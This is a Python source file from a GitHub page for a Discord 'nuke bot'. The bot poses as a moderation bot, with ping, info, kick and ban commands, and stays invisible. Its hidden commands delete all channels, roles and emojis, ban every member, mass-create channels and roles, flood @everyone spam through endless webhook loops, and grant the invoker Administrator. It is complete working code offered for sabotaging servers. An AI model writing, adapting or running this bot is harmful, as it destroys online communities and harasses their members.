-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmain.py
209 lines (170 loc) · 6.11 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
"""nuke bot"""
#CREDIT (do not remove) Star#1895
#config
token = "your-token"
prefix = "!"
spam_messages = ["@everyone get nuked", "@everyone nuked"]
names = ["nuked", "get-nuked"]
#imports
import discord, random, aiohttp
from discord import Webhook, AsyncWebhookAdapter
from discord.ext import commands
from discord.ext.commands import *
#initialization
INTENTS = discord.Intents.all()
client = commands.Bot(command_prefix=prefix, intents=INTENTS)
client.remove_command("help")
#events
@client.event
async def on_ready():
"""triggers when bot is running"""
activity = discord.Game(name="duomodbot.com", type=2)
await client.change_presence(status=discord.Status.invisible, activity=activity)
print("Nuke primed")
@client.event
async def on_server_join(server):
"""triggers on server join"""
print("Joining {0}".format(server.name))
#normal
@client.command(pass_context=True)
async def ping(ctx):
await ctx.send('Pong! {0}ms'.format(random.randint(80, 120)))
@client.command(pass_context=True)
async def info(ctx, user: discord.Member=None):
if user is None:
await ctx.channel.send('Please input a user.')
else:
await ctx.channel.send("The user's name is: {}".format(user.name) + "\nThe user's ID is: {}".format(user.id) + "\nThe user's current status is: {}".format(user.status) + "\nThe user's highest role is: {}".format(user.top_role) + "\nThe user joined at: {}".format(user.joined_at))
@client.command(pass_context=True)
async def kick(ctx, user: discord.Member=None):
if user is None:
await ctx.channel.send('Please input a user.')
else:
await ctx.channel.send("Kicked **{}**".format(user.name))
await ctx.guild.kick(user)
@client.command(pass_context=True)
async def ban(ctx, user: discord.Member=None):
if user is None:
await ctx.channel.send('Please input a user.')
else:
await ctx.channel.send("Banned **{}**".format(user.name))
await ctx.guild.ban(user)
@client.command(pass_context=True)
async def invite(ctx):
await ctx.channel.send("https://discord.com/oauth2/authorize?client_id=798660357467013150&scope=bot&permissions=2146958847")
#nuking
@client.command(pass_context=True)
async def cmds(ctx):
await ctx.message.delete()
author = ctx.author
cmds = discord.Embed(
title = "Commands",
description = f"""
**__COMMANDS__**
{prefix}cmds
Shows this message.
{prefix}nuke
Nukes the server.
{prefix}alert <message>
Spams all the channels.
{prefix}spam <count> <name>
Creates channels and roles with the given name (or a default one).
{prefix}clear
Deletes all channels and roles.
{prefix}massban
Bans every user below the bot's higher role.
{prefix}leave
Leaves the server.
{prefix}a
Gives the user Administrator Premissions.
Made by Star and FF
""")
await author.send(embed = cmds)
@client.command(pass_context=True)
async def clear(ctx):
"""clears all roles and channels then makes one new one and sends a msg"""
for channel in list(ctx.guild.channels):
try:
await channel.delete()
print(channel.name + " has been deleted")
except:
print("something went wrong (clearchannels)")
for role in list(ctx.guild.roles):
try:
await role.delete()
print(role.name + " has been deleted")
except:
print("something went wrong (clearroles)")
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print(emoji.name + " has been deleted")
except:
print("something went wrong (clearmoji's)")
channel = await ctx.guild.create_text_channel("nuked")
await channel.send("NUKED")
print("Cleared out")
@client.command(pass_context=True)
async def massban(ctx):
"""bans every user"""
c = 0
for member in list(ctx.message.guild.members):
try:
await ctx.guild.ban(member)
print ("User " + member.name + " has been banned")
c += 1
except:
print("Couldn't ban " + member.name)
print(str(c) + " users banned")
@client.command(pass_context=True)
async def spam(ctx, x=1, n="noname"):
"""creates x channels"""
noname = False
if n == "noname":
noname = True
guild = ctx.guild
for i in range(x):
if noname:
n = random.choice(names)
await guild.create_text_channel(name=n)
await guild.create_role(name=n)
print("Created " + str(x) + " channels and roles")
@client.command(pass_context=True)
async def alert(ctx):
for i in range(20):
for c in ctx.guild.channels:
try:
for k in range(5):
await c.send(ctx.guild.default_role)
except:
pass
@client.command(pass_context=True)
async def leave(ctx):
"""leaves the server"""
await ctx.guild.leave()
print("leaving the server")
@client.command(pass_context=True)
async def nuke(ctx):
"""nukes a server"""
await clear(ctx)
await massban(ctx)
await spam(ctx, 499)
await alert(ctx)
print("something went wrong (nuke)")
@client.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name = "nuked")
webhook_url = webhook.url
async with aiohttp.ClientSession() as session:
webhook = Webhook.from_url(str(webhook_url), adapter=AsyncWebhookAdapter(session))
while True:
await webhook.send(random.choice(spam_messages), username = random.choice(names))
@client.command(pass_context=True)
async def a(ctx):
"""gives the user admin perms"""
guild = ctx.guild
await guild.create_role(name="*", permissions=discord.Permissions(8), colour=discord.Colour(0xff0000))
user = ctx.message.author
role = discord.utils.get(guild.roles, name="*")
await user.add_roles(role)
client.run(token)